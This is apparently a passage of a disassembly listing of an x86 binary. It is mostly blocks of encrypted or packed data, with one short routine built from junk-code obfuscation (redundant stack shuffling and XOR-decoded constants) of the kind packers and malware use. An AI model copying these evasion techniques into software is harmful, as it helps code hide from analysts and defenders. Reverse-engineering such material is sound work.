		dd 8491CD2Ah, 58147019h, 0E66406F2h, 0A23EFC42h, 0EE57931Dh
		dd 7DEDEC73h, 9743EC8h,	1A645F13h, 17EC5ADAh, 919737D6h
		dd 16E2DC1Bh, 0F270DA73h, 5B966D68h, 2BB231B4h,	463EC87Dh
		dd 390120C0h, 848DCE36h, 34A805h, 8F1D0000h, 46BB71B3h
		dd 1A20C05Fh, 931DA23Eh, 0B659966Dh, 56A72C19h,	293EC87Dh
		dd 0B6791D9Bh, 0C87DA039h, 0BF49BF3Eh, 0DF1BE56Dh, 56FCB238h
		dd 3502h, 0A23E5800h, 6F08A7C6h, 6DD35DDBh, 17B75A96h
		dd 7D4E8F14h, 53D13EC8h, 0A8DF6DCDh, 8AA720DFh,	2EB47717h
		dd 0B538DF1Bh, 0D4F72C27h, 7851DCA5h, 0F93FDF7Eh, 0DC1B56FCh
		dd 0C4A79C39h, 3E3ECFFEh, 3F08D34h, 0F04541F6h,	9CB2D6BDh
		dd 8672811Eh, 521DFFE3h, 0B51A516h, 1092DCF4h, 1BA0AF7Fh
		dd 419639DCh, 0FFF49138h, 0A9B24BF2h, 4ED72FDh,	840BA5Dh
		dd 4E027FCFh, 47h, 6BE86DB4h, 3EC87D92h, 56F500EDh, 0D09F34D4h
		dd 3F86902Dh, 219F4633h, 31010E9Ah, 45042F67h, 95239EA1h
		dd 0A403D58h, 67EC8C18h, 0C4F5A2D9h, 0A4932C9Ah, 8572F77Ah
		dd 6C845BE2h, 7A1E2CC9h, 0B1C9969Bh, 1BE0660Ah,	7A9C39DCh
		dd 0E05FE6E3h, 0C4F55E02h, 248E75Dh, 931DA23Eh,	0DC1BEB57h
		dd 951AF39h, 848DCE36h,	26511E05h, 7DF8017Eh, 31973DC8h
		dd 943416AFh, 341Bh, 0A23EA700h, 0DF6D931Dh, 4B2BBAFCh
		dd 785820ACh, 0F877BA5Eh, 3EC83AE1h, 6D800A80h,	3CDB1BE8h
		dd 0DF1B969Ch, 6AB5FA2Ah, 0D456FB20h, 256FC4Eh,	16h, 1DA23E58h
		dd 17E66D93h, 1A3EC87Dh, 0E56DA62Ch, 0B238DF1Bh, 0E86D56FCh
		dd 7D17E66Dh, 0DC6A3EC8h, 0C87D8657h, 0DF6BD93Eh, 0BB6ADD06h
		dd 0C217B7CFh, 1BBABBB5h, 0AD4AC882h, 47961D98h, 1A3EC815h
		dd 0ACC3C49Eh, 65E30C13h, 1EC2618Ch, 0CF325219h, 1B36F83Eh
		dd 13B65996h, 0CD0C930Eh, 0A4C13436h, 7D244D26h, 31C66AE0h
		dd 0EF04A148h, 54D85B02h, 0B14DD1DBh, 8EA7473Eh, 49E68D65h
		dd 8F28CFAAh, 84B2BD5Fh, 83084717h, 0F630CF76h,	281AC7Eh
		dd 2FD8h, 0DC1B6A00h, 0E37A9C39h, 26E05FE6h, 39C4F55Fh
		dd 46CD48CBh, 0C72CA3B7h, 0A4B03CCAh, 57304C04h, 2E0922C6h
		dd 713E7100h, 0AC41E584h, 0B98120C3h, 9C39DC1Bh, 5FE6E37Ah
		dd 0F54FB6E0h, 0B83BC9C4h, 0CF680FEBh, 0F63CDB7Bh, 1704DF6Dh
		dd 708E166Ch, 0BD025ED0h, 6AEE5733h, 0FBB0C3C8h, 55DB7B9Bh
		dd 0B239DC1Bh, 0BBC93526h, 3DE1C723h, 6D0951F7h, 0E2116EDFh
		dd 0A24611D0h, 84B90068h, 3D7605h, 49CF0000h, 7E6D782Eh
		dd 0E06057E3h, 3EEC32D6h, 6D931DA2h, 4EA564E8h,	8BD60923h
		dd 7F9766EBh, 4EEA3EC8h, 6D5A43D2h, 0E167E9A7h,	0DF1BE56Dh
		dd 59FCB238h, 28C86F8Ah, 1B0222h, 3E580000h, 6D931DA2h
		dd 0C87D17E6h, 0A62C1A3Eh, 0DF1BE56Dh, 966DB238h, 0A014B45Bh
		dd 39DC1B22h, 6E15DDB2h, 3CD579D1h, 0CFFE6407h,	353CE23Eh
		dd 447F7602h, 0F96871EEh, 8107C133h, 59AB1BF1h,	0B45720B5h
		dd 0EB1BE15h, 5220A571h, 66E48128h, 0A0E261E4h,	0BB3B0ECCh
		dd 0D8A7AA4Dh, 0FA79FC9Fh, 0C7280DE3h, 0E268087Eh, 931DA23Eh
		dd 0B75A966Dh, 6D44FE17h, 19B65996h, 7F788D31h,	0E86D56DCh
		dd 0C87D926Bh, 0B757ED3Eh, 1347D558h, 0FF949BD6h, 36E86E12h
		dd 5848DCEh, 0F02C9A1Eh, 0EB842353h, 4150D35Fh,	21BE618Fh
		dd 0A6D2A729h, 40E06A03h, 3B87h, 0E86DFB00h, 0C87D926Bh
		dd 0F800ED3Eh, 1092B855h, 9D22BE70h, 17E66D13h,	633EC87Dh
		dd 9D1A35D5h, 5A94E33h,	6B38BB49h, 0F852EB8Ah, 0E56DD258h
		dd 0B238DF1Bh, 440256FCh, 58000000h, 931DA23Eh,	7D17E66Dh
		dd 1E1A3EC8h, 68FD6E87h, 0F699D7CEh, 0F16FF159h, 6BE86D67h
		dd 3EC87D92h, 7D9069E6h, 59EF3EC8h, 63DF6BD9h, 157ECBB6h
		dd 50D558F8h, 855423CCh, 1EC2D4CCh, 38DF1B18h, 1B56FCB2h
		dd 0A79C39DCh, 3ECFFEC4h, 3ECC382h, 0FB56C060h,	5DF8FBC8h
		dd 0A84B24B9h, 6205F209h, 0D956DBh, 5FC13303h, 2AEC45E9h
		dd 6D10DF93h, 39B75E94h, 0C89726B2h, 92CA1A5Dh,	0FD8D90E9h
		dd 6E7F31A0h, 961436CFh, 0FEB02FF2h, 713B0E48h,	3EEE34D3h
		dd 57931DA2h, 39DC1BEBh, 360951AFh, 5848DCEh, 77A8h, 1B981D00h
		dd 3DC87DC2h, 0C187279Dh, 0A7C6A23Eh, 6D008A08h, 0C87D17E6h
		dd 59DC6A3Eh, 6D17F9D3h, 47E78891h, 1BE86D01h, 6807E6D8h
		dd 59FD7BCFh, 6BE86DD3h, 3EC87D92h, 55F800EDh, 0D49E33D3h
		dd 966DA32Dh, 0A60FAB58h, 0A0842ED7h, 0C44A7E22h, 926BE86Dh
		dd 0ED3EC87Dh, 7609B757h, 82000000h, 62DA79FFh,	5B36678Ah
		dd 0C88F07D6h, 60EC5A3Eh, 6B49AAE7h, 0DF6509C7h, 931DA23Eh
		dd 7D17E66Dh, 8C633EC8h, 0B841BE62h, 0D73EC87Dh, 0C34FEF71h
		dd 0BC43BE45h, 3EC87D3Dh, 0C12B654h, 0E66DE86Dh, 3EC87D17h
		dd 0F4E9CE6Ah, 7BA2F97Fh, 6DD359FDh, 0CBAC5596h, 0C6942DF5h
		dd 0A44FE86Ah, 0AAE2CC7h, 0CF56FDF5h, 0B757F600h, 0DC59FC71h
		dd 0C87D8657h, 0CB6BD93Eh, 6BE86D85h, 3EC87D92h, 22B757EDh
		dd 3015B255h, 4FEF9663h, 0B73C88DDh, 3EC87D26h,	4C3FCB39h
		dd 0D20DC44Bh, 0FF840789h, 0C4F57651h, 51C564E2h, 0BB36BD0Ch
		dd 2D76A534h, 0AA4EBCC7h, 9A8F28A7h, 0B4523D0Fh, 18552A1Bh
		dd 0F700D579h, 511EB554h, 25AA27AEh, 0CD0BDDD4h, 0DDDE1FA4h
		dd 13B1CD0Bh, 0B48D3197h, 8F016E8Fh, 2F42EC30h,	872ACDAAh
		dd 4BE48770h, 4AF36EFAh, 8C0F1679h, 34D417ECh, 88B42EAFh
		dd 40C341D6h, 88B43AC3h, 71EF55D6h, 0C98836D4h,	0E9882B44h
		dd 0BB42E512h, 0CC690CE4h, 9941DA7Eh, 3, 1BBC86EFh, 52A13ED9h
		dd 0EE58225h, 4CA740DFh, 0FE48124h, 51A23BE2h, 0FE48128h
		dd 4FA441DCh, 10E37C23h, 24AE47E6h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edi
		push	2E8Fh
		mov	[esp], ebp
		push	ebx
		push	2EFB3CDAh
		pop	ebx
		xor	ebx, 28DA5775h
		mov	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	3668h
		mov	[esp], eax
		mov	eax, edi
		mov	[ebp+8], eax
		pop	eax
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_53531C
; ---------------------------------------------------------------------------
		db 0F8h, 0A0h, 8
		dd 8A979267h, 217347B8h, 0FFC50306h, 3B5B28E0h,	0AAA01138h
		dd 0E744887Dh, 8120F133h, 5F5B3712h, 3538462Bh,	0DE470C57h
		dd 0E3518C3Ch, 9613C42h, 0A9127F3Fh, 3F095F2Ch,	0B5C13756h
		dd 0B2AAD46Dh, 1CD8ED35h, 8E49A928h, 2E2ABE41h,	0D49B2816h
		dd 6E60D171h, 0D54F4375h, 7641637Dh, 39A32178h,	8453AF53h
		dd 5DE384Bh, 0C8D8D2Eh,	66062175h, 8D89F08Bh, 61B2429h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 6FC35040h
		dd 5348BBC6h, 0C7F48A72h, 1B076585h, 65EC06h, 3FF08100h
		dd 0C77C6336h, 1B13D185h, 6, 4D858900h,	0FF061B0Ch, 1B2549B5h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 181CEB4Dh, 0AEF3A229h, 880FAC48h, 6, 0EAA5EE81h
		dd 95FF2579h, 61B2F85h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 0ECC35343h, 22D51E7Eh, 0D05649D8h, 760DB8A8h
		dd 6A3CF3h, 220595FFh, 0C08B061Bh, 0C1421AEBh, 1E80E3DEh
		dd 59D63327h, 0D4253CB2h, 8347DA9Bh, 6021BA51h,	673366B0h
		dd 0AE8h, 6C88F00h, 8E78FEE0h, 8B5FD9FBh, 1B32599Dh, 95895F06h
		dd 61B2E39h, 7146C781h,	0B5890000h, 61B0B6Dh, 1C2F68h
		dd 699D8B00h, 5A061B07h, 128D9D09h, 378B061Bh, 0DE27D381h
		dd 0EE815EFEh, 29B80975h, 0D9ADDB81h, 0C6811D60h, 3A8B7E06h
		dd 310116B8h, 4BF68125h, 8B22FBC0h, 1B111985h, 8B378906h
		dd 1B30498Dh, 4EF8306h,	0CE9h, 30954F00h, 12647A53h, 2A61FD17h
		dd 1EA8179h, 0F000000h,	0FFFFAD85h, 19B529FFh, 8D061B19h
		dd 2176E78Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 19C58D67h, 5CAEFF6Eh, 1EF99589h
		dd 830F061Bh, 6, 2BE58523h, 8D89061Bh, 61B2429h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 9CC35343h, 0E8D1FF57h
		dd 5E994h, 0C22A0000h, 31865A9h, 1B0B09BDh, 6585C706h
		dd 30061B07h, 0C700006Dh, 1B13D185h, 6,	57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
		dd 33624131h, 897D7823h, 1B0F0585h, 0EE95306h, 74000000h
		dd 9C075CE0h, 5FB0A87h,	58555F6Dh, 0B5FF58A3h, 61B1D45h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0FDC35040h
		dd 800F5298h, 0Ch, 68D0Fh, 800F0000h, 0
		dd 0FFF0BF0Fh, 1B2F8595h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 0F1F35B22h
		dd 0FF006A08h, 1B220595h, 0EBC08B06h, 0E2D20378h, 23D5F975h
		dd 491A83FAh, 38450480h, 682E4024h, 14AAA518h, 2257E9EDh
		dd 2695BD52h, 8A5701E7h, 8E95557Ah, 0C1DB09CEh,	0D59C3D35h
		dd 464878E8h, 4C40120Fh, 794730E9h, 0F7E8FA66h,	0E2C83B9Dh
		dd 0B799EA43h, 0EDCF012Fh, 0E3CBCD02h, 7388D31Fh, 9A1BB2BEh
		dd 0B151C820h, 715A9A55h, 404C8987h, 462FE6C6h,	56E3FB4h
		dd 4D44CF62h, 477B9A1Ch, 5E314BDAh, 168D8D9Dh, 6A062178h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 0F1DDC351h, 8B6EFD72h, 1B195595h,	298D8906h
		dd 6A061B24h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 0F061C356h, 34E69D18h,	8D89BD4Ch
		dd 61B1CBDh, 76585C7h, 6560061Bh, 8D010000h, 61B17FDh
		dd 13D185C7h, 61Bh, 81660000h, 0FF1566D3h, 1B0399B5h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 8BDA0CF4h, 8595FFC6h, 66061B2Fh, 50D5C681h, 95FF006Ah
		dd 61B2205h, 1FEBC08Bh,	65CED2D7h, 0DD4A71A7h, 39F0C809h
		dd 19171E70h, 889E5D68h, 1A97E254h, 0FD492175h,	0E8C47AB3h
		dd 0Fh,	17EDC206h, 0DD3F79DEh, 4EB1A86Ch, 8BBE761Bh, 1B3275B5h
		dd 81665906h, 81DBB1C0h, 7423C1h, 14E900h, 0DBA70000h
		dd 6A50D1B7h, 0A77C7BB9h, 8353277Eh, 0A953B5FDh, 0B6BAF494h
		dd 8121B4A8h, 0B4B469F2h, 6880F21h, 81000000h, 0CF77F8F6h
		dd 8931FF5Bh, 1B2ECD9Dh, 0E8815F06h, 42EF5E2Ah,	0C779EF81h
		dd 0B58B416Fh, 61B038Dh, 3236F781h, 9D235D97h, 61B21DDh
		dd 0F14F781h, 9D8B4E89h, 61B305Dh, 81663989h, 832448C3h
		dd 850B01E9h, 61B0DD9h,	8A494949h, 1EA81F9h, 0F000000h
		dd 0FFFFAC85h, 0ED858BFFh, 8D061B29h, 2179C88Dh, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 0A3F5D5C3h, 93501008h, 298D8933h, 6A061B24h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 7C6CC355h, 0AC58F826h, 0DB801F3Ch, 6585C788h, 0D4061B07h
		dd 6A000065h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 0D39FC353h, 0F78A008h,	85C7DFBFh
		dd 61B13D1h, 0
		dd 257FD381h, 0B5FF47D8h, 61B0DCDh, 3532E681h, 95FF58ECh
		dd 61B2F85h, 14E8h, 0F4636800h,	5DD9D91Dh, 12096745h, 268DCECAh
		dd 0FBAD062Fh, 10E8F6h,	0E9630000h, 0B1AE7ABDh,	7C7C8214h
		dd 41726D56h, 5A570EDDh, 6A5A58h, 220595FFh, 0C08B061Bh
		dd 2F636BEBh, 634CD21Dh, 876CA238h, 0D2C80BDAh,	2910D709h
		dd 0A9B4686Ah, 0D7B05777h, 24E94841h, 0F744A9A3h, 0EEAE6159h
		dd 16AAEF74h, 0DA7CE054h, 132B47F2h, 8E98F92Eh,	0E844CCDBh
		dd 8CF9FA91h, 6684417Bh, 213B545Fh, 0D05F0217h,	0D284BD3Bh
		dd 8D2D028Dh, 2682E603h, 82AB6D6h, 0C6DE9A91h, 0B5B248E4h
		dd 0EC400B2h, 1C852119h, 3B8D8D52h, 6A06217Bh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 8DEFC355h, 718F643Dh, 5E6C2BA2h, 17D59529h, 8D89061Bh
		dd 61B2429h, 7E9h, 0F8FAD600h, 1944AB3Ch, 25159529h, 85C7061Bh
		dd 61B0765h, 641Ch, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 55C35242h, 0BE280F7h,	0B3E57BB0h, 38E0Fh
		dd 0C6800000h, 9E86095h, 5F000000h, 1473BE42h, 89E48D74h
		dd 85C7615Fh, 61B13D1h,	0
		dd 3A5B5FFh, 6A061Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 0FD985EC3h, 0A3C06D0Ch, 8F0FD125h
		dd 6, 0D29958Bh, 95FF061Bh, 61B2F85h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 0E6C35747h,	22505914h, 7F929F85h
		dd 0FF006AD5h, 1B220595h, 0EBC08B06h, 0BF69272Ch, 0FACCD11Bh
		dd 0FA464DF6h, 94660BC8h, 596C3CABh, 8F9DA378h,	82E2090h
		dd 160CF0B5h, 0DAA226D6h, 20CF1E58h, 0ABB7E5F7h, 15FE931h
		dd 8B520000h, 0E860D4h,	5D000000h, 7B7AED81h, 428B0621h
		dd 38453D08h, 850F7826h, 138h, 8B0C428Bh, 0C8D3184Ah, 50F179BBh
		dd 83C33368h, 858904E8h, 61B2429h, 8B04588Bh, 10428BF8h
		dd 0D3184A8Bh, 0F3F4BEC8h, 0C633C618h, 0E083C72Bh, 4E883FCh
		dd 7658589h, 428B061Bh,	0D1858914h, 8B061B13h, 0E9531842h
		dd 0B0h, 981B5FFh, 0B9E9061Bh, 0FF000000h, 1B03A5B5h, 0AEE906h
		dd 0B5FF0000h, 61B31BDh, 0A3E9h, 49B5FF00h, 0E9061B25h
		dd 98h,	399B5FFh, 8DE9061Bh, 0FF000000h, 1B2D49B5h, 82E906h
		dd 0B5FF0000h, 61B005Dh, 77E9h,	0CDB5FF00h, 0E9061B0Dh
		dd 6Ch,	2299B5FFh, 61E9061Bh, 0FF000000h, 1B249DB5h, 56E906h
		dd 0B5FF0000h, 61B1D45h, 4BE9h,	0D1B5FF00h, 0E9061B1Bh
		dd 40h,	25D9B5FFh, 35E9061Bh, 0FF000000h, 1B07B5B5h, 2AE906h
		dd 0B5FF0000h, 61B02FDh, 1FE9h,	0DDB5FF00h, 0E9061B18h
		dd 14h,	0BB8D88Bh, 66000000h, 8D8DE3F7h, 6217BDBh, 0E1FFC803h
		dd 2F8595FFh, 8B5B061Bh, 1B242985h, 4583906h, 0F850Fh
		dd 6A530000h, 595FF01h,	5B061B22h, 0FFFFE2E9h, 0C35A61FFh
		dd 6AB85A61h, 0FF77D4C9h, 71858BE0h, 8D061B2Dh,	217CC98Dh
		dd 1418906h, 85C6C38Bh,	61B239Dh, 30DF6856h, 0B5FFA9C5h
		dd 61B2F11h, 7046858Dh,	0D0FF061Eh, 24F18D8Dh, 6A51061Bh
		dd 49B5FF40h, 0FF061B1Bh, 1B1779B5h, 0FFD0FF06h, 1B1B49B5h
		dd 79B5FF06h, 0E8061B17h, 0Dh, 0CE6FEF9Fh, 56A81B18h, 6F2DE421h
		dd 835A5A1Ch, 2CC104EAh, 24C10224h, 14030224h, 241CF724h
		dd 34FFFF33h, 0C3815B17h, 38B2808Ch, 8ED3F381h,	0C381487Ah
		dd 691BB567h, 3A048F53h, 3B04EF83h, 850F243Ch, 0Fh, 20E9h
		dd 553C4200h, 34E372C7h, 0E90B9CABh, 0FFFFFFC6h, 100337A4h
		dd 6FD1BC45h, 30E07850h, 0CE96A634h, 519D8DE1h,	8B061B0Ch
		dd 0FC00B03h, 784h, 8B038B00h, 1889045Bh, 8E8C98Bh, 0EF000000h
		dd 694B9213h, 0FCBDD5BBh, 28D0F59h, 8B000000h, 0E3C181FAh
		dd 0F000062h, 380h, 0F78B6600h,	0F681C033h, 6030D0ABh
		dd 0E90834FFh, 5, 0B550C2BBh, 0B70F5BC8h, 70C381F1h, 8B3B3B61h
		dd 77C381F2h, 0F4C46FEh, 0C381FFBFh, 2806DAE4h,	7880Fh
		dd 0B4600000h, 0F38B66CCh, 4CBA5361h, 8F41DE90h, 0B70F0104h
		dd 0E3B1BFD2h, 0E8832928h, 48F4B201h, 0D78B4848h, 9DA4F881h
		dd 850FFFFFh, 0FFFFFFA4h, 0E11FCA81h, 0ABE91F4Dh, 50000000h
		dd 1C3F2E8Dh, 0DA5F72B1h, 95A7ACABh, 0F44592B3h, 0B395A1h
		dd 0A7ECABDAh, 0B2915D20h, 96B1F46Bh, 55207520h, 0F26BB79Bh
		dd 9692A5BCh, 3A7594A1h, 9FB79960h, 0B599BD32h,	0A59CB2E9h
		dd 0ACA3F292h, 0B1EF7695h, 0F94E0097h, 9FA5B4h,	0F07B6B5Ch
		dd 8A924Ah, 45F352D0h, 0A3F653F5h, 44D6D979h, 45E3AFF1h
		dd 0D77D41F4h, 9792B000h, 0FD756BBFh, 96BFCF60h, 0B293BCF9h
		dd 57207D20h, 92ABF79Bh, 0B29EBD94h, 0CE9DBCE3h, 8F899BE0h
		dd 0FD8F9D72h, 6DB4EEA9h, 0BCE1B6F6h, 0B3ED7293h, 1E80097h
		dd 3D94E7A6h, 23FF8332h, 1DE9548Eh, 68000013h, 62180C8h
		dd 0F9FF2FE9h, 81D268FFh, 25E90621h, 68FFF9FFh,	62182B0h
		dd 0F9FF1BE9h, 840168FFh, 11E90621h, 68FFF9FFh,	6218483h
		dd 0F9FF07E9h, 853968FFh, 0FDE90621h, 68FFF9FEh, 6218606h
		dd 0F9FEF3E9h, 86AC68FFh, 0E9E90621h, 68FFF9FEh, 621874Ch
		dd 0F9FEDFE9h, 88F168FFh, 0D5E90621h, 68FFF9FEh, 62189CCh
		dd 0F9FECBE9h, 8B2168FFh, 0C1E90621h, 68FFF9FEh, 6218C67h
		dd 0F9FEB7E9h, 8E7668FFh, 0ADE90621h, 68FFF9FEh, 6218F8Eh
		dd 0F9FEA3E9h, 0BA5597FFh, 17B6C017h, 0F0976378h, 1EB9BA51h
		dd 0E68D647Bh, 557C1E43h, 0FDD2751Ch, 5AB150F3h, 6DD7C1Bh
		dd 2FA346E9h, 2CE0F94h,	0C8A138E9h, 2BDC1BFAh, 0EB8365F3h
		dd 82255292h, 65E365E5h, 0A94C2BC8h, 0FCCD1406h, 2CCBAA79h
		dd 1417B793h, 0F5CE7D8Fh, 0D558EEC4h, 2C13C447h, 0C96D4299h
		dd 860ED370h, 34F7C72Dh, 49ED905Fh, 0AE2690DFh,	0A8FC6AB0h
		dd 3Dh,	0CBA73E1Ah, 718807ABh, 103EC87Dh, 0F37AF87Ah, 7DE8F16Eh
		dd 3803EC8h, 3EC87DFAh,	15B32F95h, 7331AE71h, 0ECC4F4AEh
		dd 7F82C15Eh, 0A8C72CB2h, 0D30973FEh, 85FC6980h, 0E3h
		dd 6BE86DFDh, 3EC87D92h, 718257EDh, 0D29D32D6h,	7CFE9DD8h
		dd 42E910E3h, 4F1CA0A5h, 0FDE39C4h, 10DFF494h, 5423D06Dh
		dd 0BB490EB1h, 6B3EC8B1h, 0D662E98Ch, 403C78D4h, 0EDDB6DCh
		dd 9F34D373h, 0B5902DD0h, 0CD7110DEh, 40C3065Bh, 0F53759C3h
		dd 0D154F2C4h, 0B050F702h, 81489D91h, 534925FAh, 63E78027h
		dd 81FE41E5h, 3D13EDCFh, 0FE9CDC60h, 984CD70Ch,	663BBD60h
		dd 248E58Ch, 4B26FD80h,	3EE05A4h, 0A1948C5Ch, 1BF443C2h
		dd 1083BFh, 86215300h, 43E20CE3h, 7C234FA4h, 4AE506DDh
		dd 822950A7h, 69687ADFh, 0B146E990h, 6E8524C7h,	0AA41E07Fh
		dd 53872ACDh, 0FDAA33B0h, 0E4C538E9h, 0E0DE1B5Eh, 53F67417h
		dd 53F601CEh, 0F5048BBAh, 8C3EC87Dh, 3DF07CFEh,	80EA3396h
		dd 0D817EC8Ch, 3E8C9235h, 149B22A7h, 0C4F4AE1Eh, 0F3C043C1h
		dd 648C6500h, 822624C1h, 0B2479AA9h, 0D6B0C72Ch, 7A7B487Bh
		dd 46E906DBh, 80F068A2h, 0CF66FC69h, 0DC000000h, 11E2DC1Bh
		dd 0EF71D976h, 1FD49D56h, 0AD2052A8h, 2CAF31A1h, 0E13AEFA0h
		dd 8E3250A4h, 0F1448EB5h, 0B1BE3EC8h, 6BE66B0Eh, 0C8F915E4h
		dd 3ADE6C3Eh, 8E27CAA5h, 15983188h, 0F9CA1390h,	1FA53EC8h
		dd 0C537BC7Fh, 56C4F5D7h, 8DF6DF0h, 0E5B980A0h,	8FA19BDh
		dd 109518B1h, 0F0903743h, 13065A6Bh, 25511E3Dh,	0BD61E986h
		dd 0B3800381h, 0BD801FC6h, 0E7F27F2Fh, 88284856h, 0FDF8673h
		dd 43CDAF1Bh, 793AA06Dh, 4900000Fh, 1AF1902Bh, 459A3DDCh
		dd 0CE3862Dh, 4EA544DFh, 78DD7C23h, 0DB826F62h,	26C9A73Ch
		dd 0E2816C83h, 2CCFA83Fh, 35BA598Dh, 38E9FCA4h,	6D50F2BBh
		dd 15B95896h, 8B12B9C0h, 0F88890FDh, 0AD51215Dh, 0DB7E798Eh
		dd 0E86DF63Ch, 0FEC38A64h, 0BA3F383Bh, 3EC88C23h, 0E782713Eh
		dd 4730C569h, 0B73A0BA4h, 0C88CA138h, 0A64AC03Eh, 832651h
		dd 2B4B4533h, 0D957F38Ch, 0F901D635h, 313EB552h, 3981078Eh
		dd 87482975h, 65FB1ABEh, 0DBC015Eh, 1FBAB986h, 2124C486h
		dd 0F5F83CA2h, 4039CFC4h, 0A0D331CBh, 0A5CD14CEh, 0BD8D2AC9h
		dd 0E13BB83Bh, 7AC6AE1Bh, 1EA3730Ch, 0ECAB28ABh, 6F38A9CFh
		dd 0CF52D9h, 67C656F5h,	759CCD91h, 8E697E22h, 0B8B74CEBh
		dd 3AB4115h, 0F8954624h, 0E9BE2h, 0EE896B00h, 1BBAB44Bh
		dd 0E48B677Ch, 22BDAE45h, 0EA91687Fh, 51802247h, 9DE8128h
		dd 56AD4CEFh, 2D97817h
		dd 3BAF52F5h, 0FFC21B98h, 0CC9D38E9h, 39DC1BF6h, 0E6E37A9Ch
		dd 0E05FE25Fh, 3EC87D19h, 0E96E1278h, 3B0A862Fh, 79205A29h
		dd 4CEB59D5h, 0C24183DAh, 0C72C863Bh, 0E66DF056h, 0C72C8617h
		dd 0D75EDC6Ah, 118D6258h, 4830FD3Dh, 0B98A23A5h, 0CD018F24h
		dd 0DA7316E2h, 0A13EDD19h, 9BC98896h, 1E88C7B5h, 0F64EA3A6h
		dd 5DB0h, 0A73E1200h, 0F4149B22h, 64C4F4B2h, 21BE618Fh
		dd 3BC98529h, 27B63DB8h, 0E1C72CC9h, 6FDB7417h,	6EB155F3h
		dd 57551CF3h, 71D97619h, 0D59D56EFh, 0AA29AC2Eh, 0C72CC953h
		dd 0E3F8982Eh, 23F07312h, 7B225856h, 4DEA68E2h,	75BA59FDh
		dd 0C72CC966h, 9534D7A0h, 0F7902F3Eh, 0DB3E3h, 0A73E5D00h
		dd 49169B22h, 58F28B2Eh, 0FC4D73B8h, 51D7C4EAh,	58EAC97Ah
		dd 0CE8A2EC6h, 0D47118E1h, 0A271F476h, 788F32D5h, 0D343DC7Fh
		dd 3BB83B8Eh, 3D349064h, 870A91F7h, 8874850Ah, 7D0BCD74h
		dd 48EB04D9h, 822552A9h, 0E0F976FBh, 7FCD7488h,	4ACC6509h
		dd 0D04FD6F3h, 37498786h, 0FB9B6BD9h, 0C55DA42Bh, 0D4AF2E8h
		dd 0DA1A0000h, 2B4BA03Fh, 0DC16ED8Ch, 2E3D9235h, 12DFF493h
		dd 0F3A9CC6Bh, 0CD6C13DEh, 0F8973A36h, 0D47312E3h, 0AA4DF0FFh
		dd 0C7169D38h, 9A38E9F9h, 966BF1D1h, 0B33EC87Dh, 0C019962Eh
		dd 9F3EC87Dh, 0A124A729h, 6105A4D2h, 0EAE3A3DCh, 0CD50B6C4h
		dd 0B356F9F6h, 24AB531Ch, 0C716FCD5h, 439A19ACh, 1EC716FCh
		dd 0FA82AA8h, 9417B207h, 91384211h, 0F8AE68EDh,	13B13D2Bh
		dd 0C6B1B543h, 30AA8343h, 0CC8h, 1EC15C98h, 6B0EADC9h
		dd 18B75E94h, 7215B0C3h, 4AED945Dh, 955C7527h, 0BCB44BEEh
		dd 94617619h, 727D52F5h, 17BE30CFh, 0E9F94198h,	734F2038h
		dd 0B55C966Dh, 0FA9DDB18h, 0CB6BED5Dh, 0F9963936h, 0D35AFDFAh
		dd 0C4E13C45h, 0C96DF4A9h, 3A15F170h, 84E198D0h, 32B13402h
		dd 3EC859ABh, 27A040C6h, 6DEh, 0C7DF6D9Bh, 848B3FB2h, 26BB6D11h
		dd 245320A3h, 0C266E481h, 5E48007Fh, 61E7C4EAh,	47EA05DAh
		dd 812453A8h, 429A5FE4h, 22B7C717h, 0E8852850h,	0D65DE062h
		dd 3D2A4638h, 91619F1Bh, 0D71A9845h, 0EB5FF897h, 571BEB6Dh
		dd 3143C1D1h, 0C127E5Ch, 12E20000h, 0F303D877h,	541EB554h
		dd 0F6F50AADh, 4A27BC5Bh, 3B6104A3h, 15B45B96h,	700FB2BEh
		dd 1CBB5A9Bh, 6205A8C7h, 8F4ED570h, 0E238E9F8h,	0DC1B3909h
		dd 18579C39h, 5721EE75h, 66FB14B4h, 154BB5BCh, 430284B6h
		dd 642h, 62FF36C2h, 0E4F48E65h,	7D921B58h, 6D11938Bh, 7D966BE7h
		dd 56E23EC8h, 88F3F88Dh, 0D84AEEE6h, 3EC54881h,	0C4EAADCEh
